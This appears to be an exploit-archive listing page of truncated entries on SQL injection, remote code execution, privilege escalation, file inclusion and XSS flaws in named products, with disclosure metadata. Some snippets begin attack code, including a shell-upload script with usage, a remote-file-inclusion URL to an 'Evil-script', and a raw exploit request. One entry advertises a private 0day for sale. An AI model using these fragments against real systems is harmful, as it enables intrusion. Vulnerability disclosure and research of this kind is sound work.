Online Shopping Portal 3.1 SQL Injection Vulnerability

Proof of concept code for a time-based blind remote SQL injection vulnerability in Online Shopping Portal version 3.1. This is a variant of the original discovery of SQL injection in this version by Umit Yalcin in July of 2020. Exploit Title: Online Shopping Portal - time-based blind SQL Injectio...

BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation Vulnerability

Exploit for multiple platform in category web applications Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation Exploit Author: William Summerhill Vendor homepage: https://www.globalradar.com/ Version: BSA Radar - Version 1.6.7234.24750 and lower CVE-2020-14945 - Privilege...

Pulse Secure Client For Windows Local Privilege Escalation Vulnerability

Red Timmy Sec has discovered that Pulse Secure Client for Windows suffers from a local privilege escalation vulnerability in the PulseSecureService.exe service. Pulse Secure is recognized among the top 10 Network Access Control NAC vendors by global revenue market share. The company declares that...

Symantec Web Gateway 5.0.2.8 Remote Code Execution Exploit

Exploit for windows platform in category web applications Title: Postauth RCE in Symantec Web Gateway 5.0.2.8 Vendor: www.symantec.com Vulnerable software: www.symantec.com Repo: https://github.com/c610/free/ POST /spywall/timeConfig.php HTTP/1.1 Host: 192.168.216.133 User-Agent: Mozilla/5.0...

P2PWIFICAM2 for iOS 10.4.1 - (Camera ID) Denial of Service Exploit

Exploit Title: P2PWIFICAM2 for iOS 10.4.1 - 'Camera ID' Denial of Service PoC Discovery by: Ivan Marmolejo Vendor Homepage: https://apps.apple.com/mx/app/p2pwificam2/id663665207 Software Link: App Store for iOS devices Tested Version: 10.4.1 Vulnerability Type: Denial of Service DoS Local Tested ...

Common Desktop Environment 2.3.1 Buffer Overflow Exploit

A buffer overflow in the CheckMonitor function in the Common Desktop Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with Oracle Solaris 10 1/13 Update 11 and earlier, allows local users to gain root privileges via a long palette name passed to dtsession in a malicious .Xdefault...

HomeAutomation 3.3.2 - Remote Code Execution Vulnerability

Exploit for php platform in category web applications Exploit: HomeAutomation 3.3.2 - Remote Code Execution Author: LiquidWorm Vendor: Tom Rosenback and Daniel Malmgren Product web page: http://karpero.mine.nu/ha/ Affected version: 3.3.2 Tested on: Apache/2.4.41 centos OpenSSL/1.0.2k-fips Advisor...

Linux - Use-After-Free via race Between modify_ldt() and #BR Exception Exploit

/ When a BR exception is raised because of an MPX bounds violation, Linux parses the faulting instruction and computes the linear address of its memory operand. If the userspace instruction is in 32-bit code, this involves looking up the correct segment descriptor and adding the segment offset to...

Microsoft Windows - Win32k Local Privilege Escalation Exploit

Exploit for windows platform in category local exploits CVE-2019-0803 Win32k Elevation of Privilege Poc Reference ----------------------------- steal Security token https://github.com/mwrlabs/CVE-2016-7255 EDB Note: Download...

Schneider Electric U.Motion Builder 1.3.4 Command Injection Vulnerability

Schneider Electric U.Motion Builder version 1.3.4 suffers from an unauthenticated command injection vulnerability in trackimportexport.php. 1. ADVISORY INFORMATION ======================= Product: Schneider Electric U.Motion Builder Vendor URL: www.schneider-electric.com Type: OS Command Injectio...

ServerZilla 1.0 - email SQL Injection Vulnerability

Exploit for php platform in category web applications...

HeidiSQL 9.5.0.5196 - Denial of Service Exploit

Exploit for windows platform in category dos / poc Exploit Title: HeidiSQL 9.5.0.5196 - Denial of Service PoC Discovery by: Victor Mondragón Vendor Homepage: https://www.heidisql.com/ Software Link: https://www.heidisql.com/download.php Tested Version: 9.5.0.5196 Tested on: Windows 10 Single...

b2evolution CMS 6.8.10 PHP Code Execution Vulnerability

Exploit for php platform in category web applications b2evolution CMS 6.6.0 - 6.8.10 PHP code execution Information =========== Name: b2evolution CMS 6.8.10 Software: b2evolution CMS Homepage: http://b2evolution.net/ Vulnerability: PHP code execution Prerequisites: publicly accessible /install...

Microsoft .NET Framework XSS / Privilege Escalation Vulnerability

Exploit for windows platform in category remote exploits Product: =========================== Microsoft .NET Framework Vulnerability Type: ============================ XSS / Elevation of Privilege CVE Reference: ============== CVE-2015-6099 Vulnerability Details: ====================== Microsoft...

Wordpress Theme Dazzling Shell Upload Vulnerability  

Python exploit able to upload a shell and generate its link in any website having Dazzling Shell Upload Vulnerability Usage Info python exploit.py -t http://site.com -s shellname -p UploadingPath import optparse import sys import pycurl from cStringIO import StringIO print "" print...

Java Applet JMX Remote Code Execution Vulnerability

This Metasploit module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier. This file is part of the Metasploit Framework and may be subject to redistributi...

Uploader by CeleronDude 5.3.0 - Upload Vulnerability

Exploit for unknown platform in category web applications ==================================================== Uploader by CeleronDude 5.3.0 - Upload Vulnerability ==================================================== Uploader by CeleronDude 5.3.0 - Upload Vulnerability Discovered by : Stink' Date...

phpRaid < 3.0.7 (rss.php phpraid_dir) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================================== phpRaid cmd shell example: Exploit : http://www.example.com/phpRaidpath/rss.php?phpraiddir=Evil-script? use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv =...

MyBulletinBoard (MyBB) <= 1.1.5 (CLIENT-IP) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= MyBulletinBoard MyBB = 1.1.5 CLIENT-IP SQL Injection Exploit ================================================================= !/usr/bin/php -q -d shortopentag=on ? echo...

Xtreme/Ditto News <= 1.0 (post.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ===================================================================== Xtreme/Ditto News = 1.0 post.php Remote File Include Vulnerability ===================================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE...

Linux i915 PTE Use-After-Free Exploit

Linux i915 suffers from an out-of-bounds PTE write in vmfaultgtt that leads to a PTE use-after-free vulnerability. I found a bug in the i915 code that allows a process with access to a render node /dev/dri/renderD128 to corrupt kernel memory. This bug is subject to a 90-day disclosure deadline. I...

Akaunting 3.1.8 - Server-Side Template Injection (SSTI) Vulnerability

Exploit Title: Akaunting 3.1.8 - Server-Side Template Injection SSTI Exploit Author: tmrswrr Vendor: https://akaunting.com/forum Software Link: https://akaunting.com/apps/crm Vulnerable Versions: 3.1.8 Tested : https://www.softaculous.com/apps/erp/Akaunting 1 Login with admin cred and go to : Ite...

Prison Management System - SQL Injection Authentication Bypass Vulnerability

Exploit : Prison Management System Using PHP -SQL Injection Authentication Bypass Exploit Author: Sanjay Singh Vendor Homepage: https://www.sourcecodester.com Software Link:https://www.sourcecodester.com/sql/17287/prison-management-system.html Tested on: Windows ,XAMPP CVE : CVE-2024-33288 Proof ...

Screen SFT DAB 600/C - Authentication Bypass Erase Account Exploit

!/usr/bin/env python3 Exploit Title: Screen SFT DAB 600/C - Authentication Bypass Erase Account Exploit Author: LiquidWorm Vendor: DB Elettronica Telecomunicazioni SpA Product web page: https://www.screen.it | https://www.dbbroadcast.com...

Screen SFT DAB 600/C - Authentication Bypass Account Creation Exploit

!/usr/bin/env python3 Exploit Title: Screen SFT DAB 600/C - Authentication Bypass Account Creation Exploit Author: LiquidWorm Vendor: DB Elettronica Telecomunicazioni SpA Product web page: https://www.screen.it | https://www.dbbroadcast.com...

Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation Exploit

Exploit Title: Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation Exploit Author : TOUHAMI KASBAOUI Vendor Homepage : https://www.forcepoint.com/ Software: Stonesoft VPN Windows Version : 6.2.0 / 6.8.0 Tested on : Windows 10 CVE : N/A Description local privilege escalation vertical...

CoolerMaster MasterPlus 1.8.5 - (MPService) Unquoted Service Path Vulnerability

Exploit Title: CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path Exploit Author: Damian Semon Jr Blue Team Alpha Version: 1.8.5 Vendor Homepage: https://masterplus.coolermaster.com/ Software Link: https://masterplus.coolermaster.com/ Tested on: Windows 10 64x Step to discover the...

AVS Audio Converter 10.3 - Stack Overflow (SEH) Exploit

Exploit Title: AVS Audio Converter 10.3 - Stack Overflow SEH Discovered by: Yehia Elghaly - Mrvar0x Tested Version: 10.3.1.633 Tested on OS: Windows 7 Professional x86 pop+ret Address=005154E6 Message= 0x005154e6 : pop ecx pop ebp ret 0x04 | startnull PAGEEXECUTEREAD AVSAudioConverter.exe ASLR:...

Bitrix24 - Remote Code Execution (Authenticated) Exploit

Exploit Title: Bitrix24 - Remote Code Execution RCE Authenticated Date: 4/22/2022 Exploit Author: picaroo Vendor Homepage: https://www.bitrix24.com/apps/desktop.php Tested on: Linux os /usr/bin/env python Created by heinjame import requests import re from bs4 import BeautifulSoup import...

Auto Spare Parts Management 1.0 SQL Injection Vulnerability

Title: Auto-Spare-Parts-Management v1.0 remote SQL-Injections Author: nu11secur1ty Vendor: https://github.com/pavanpatil45 Software: https://github.com/pavanpatil45/Auto-Spare-Parts-Management Description: The Referer HTTP header on Auto-Spare-Parts-Management v1.0 system appears to be vulnerable...

Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration Vulnerability

Exploit Title: Cibele Thinfinity VirtualUI 2.5.41.0 - User Enumeration Exploit Author: Daniel Morales, IT Security Team - ARHS Spikeseed Vendor Homepage: https://www.cybelesoft.com Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ Version: vulnerable v3.0 Tested on: Microsoft Window...

Dell OpenManage Enterprise Hardcoded Credentails / Privilege Escalation / Deserialization

Dell OpenManage Enterprise versions up to 3.6.1 suffer from multiple hard-coded credential issues, multiple privilege escalation, weak permissions, authentication bypass, and other vulnerabilities. Please find a text-only version below sent to security mailing lists. The complete version on...

Google Chrome 86.0.4240 V8 - Remote Code Execution Exploit

Exploit Title: Google Chrome 86.0.4240 V8 - Remote Code Execution Exploit Author: Tobias Marcotto Tested on: Kali Linux x64 Version: 87.0.4280.88 Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption...

rConfig 3.9.4 - (search.crud.php) Remote Command Injection Exploit

Exploit for php platform in category web applications Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection Exploit Author: Matthew Aberegg, Michael Burkey Vendor Homepage: https://www.rconfig.com Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip Version:...

Microsoft VSCode Python Extension - Code Execution Exploit

VSCode Python Extension Code Execution This repository contains the Proof-of-Concept of a code execution vulnerability discovered in the Visual Studio Code Python extension. TL;DR: VScode may use code from a virtualenv found in the project folders without asking the user, for things such as...

HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin) Vulnerability

Exploit for php platform in category web applications Exploit Title: HRSALE 1.1.8 - Cross-Site Request Forgery Add Admin Exploit Author: Ismail Akıcı Vendor Homepage: http://hrsale.com/ Software Link : http://demo.hrsale.com/ Software : HRSALE v1.1.8 Product Version: v1.1.8 Vulnerability Type :...

TexasSoft CyberPlanet 6.4.131 - (CCSrvProxy) Unquoted Service Path Vulnerability

Exploit Title: TexasSoft CyberPlanet 6.4.131 - 'CCSrvProxy' Unquoted Service Path Exploit Author: Cristian Ayala G Vendor Homepage: https://tenaxsoft.com/index.html Software Link: https://tenaxsoft.com/descargas.html Version: 6.4.131 Tested on: Windows 10 Pro x64 Step to discover the unquoted...

Pulse Secure VPN Arbitrary Command Execution Exploit

This Metasploit module exploits a post-auth command injection in the Pulse Secure VPN server to execute commands as root. The env1 command is used to bypass application whitelisting and run arbitrary commands. Please see related module auxiliary/gather/pulsesecurefiledisclosure for a pre-auth fil...

QBee Camera / iSmartAlarm Credential Disclosure Vulnerability

Cleartext storage of credentials in the iSmartAlermData.xml configuration file in the iSmartAlarm application through 2.0.8 for Android allows an attacker to retrieve the username and password. Insecure cryptographic storage of credentials in com.vestiacom.qbeecamerapreferences.xml in the QBee Ca...

PayPal / Credit Card / Debit Card Payment 1.0 SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: PayPal/Credit Card/Debit Card Payment 1.0 - SQL Injection Exploit Author: Ihsan Sencan Vendor Homepage: https://www.sourcecodester.com/users/janobe Software Link:...

Adobe Enterprise Manager (AEM) 6.3 - Remote Code Execution Exploit

Exploit for jsp platform in category web applications Exploit Title: Adobe Experience Manager AEM 6.3 default credentials leads to RCE Exploit Author: StaticFlow Vendor Homepage: https://www.adobe.com/in/marketing-cloud/experience-manager.html Version: 6.3 import requests import sys baseUrl =...

PHPMailer Sendmail Argument Injection Exploit

PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This Metasploit module writes a...

HP Client - Automation Command Injection / Remote Code Execution

Exploit for multiple platform in category local exploits Exploit Title: HP Client - Automation Command Injection Date: 10/10/2016 Exploit Author: SlidingWindow , Twitter: @kapilkhot Vendor Homepage: Previosuly HP, now http://www.persistentsys.com/ Version: Tested on version 7.9 but should work on...

SMF 2.0.x Remote Code Execution 0day Exploit

When used in conjunction, multiple vulnerabilities within SMF 2.0.x allow a remote attacker with the ability to create a basic user account to execute arbitrary code with the privileges of the application. This is private exploit. You can buy it at https://0day.today...

Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ==================================================================== Tagger Luxury Edition BBCodeFile Remote File Include Vulnerability ==================================================================== Tagger v3 = BBCodeFile Remote file...

PHP-Fusion <= 6.0 106 BBCode IMG Tag Script Injection Exploit

Exploit for unknown platform in category web applications ============================================================= PHP-Fusion deluser ./fusionimg banuser ./fusionimg delshout ./fusionimg deladmin is the PHP-Fusion version. enter 6.x or 5.x depending on the version number. is the start point ...

WordPress PVN Auth Popup 1.0.0 Cross Site Scripting Vulnerability

Exploit Title: PVN Auth Popup alert1 for the "Login text" input 3. Save and see the XSS Note: Other fields are likely vulnerable...

Azon Dominator Affiliate Marketing Script - SQL Injection Vulnerability

Exploit Title: Azon Dominator - Affiliate Marketing Script - SQL Injection Exploit Author: Buğra Enis Dönmez Vendor: https://www.codester.com/items/12775/azon-dominator-affiliate-marketing-script Demo Site: https://azon-dominator.webister.net/ Tested on: Arch Linux CVE: N/A Request POST...

Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting Vulnerability

Exploit Title: Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting XSS Exploit Author: omurugur Vendor Homepage: https://support.broadcom.com/external/content/SecurityAdvisories/0/21117 Version: 10.7.4-10.7.13 Tested on: relevant os CVE : CVE-2022-25630 Author Web:...

WebTareas 2.4 - Remote Command Execution (Authorized) Vulnerability

Exploit Title: WebTareas 2.4 - RCE Authorized Exploit Author: Hubert Wojciechowski Contact Author: email protected Vendor Homepage: https://sourceforge.net/projects/webtareas/ Software Link: https://sourceforge.net/projects/webtareas/ Version: 2.4 Testeted on: Windows 10 using XAMPP, Apache/2.4.4...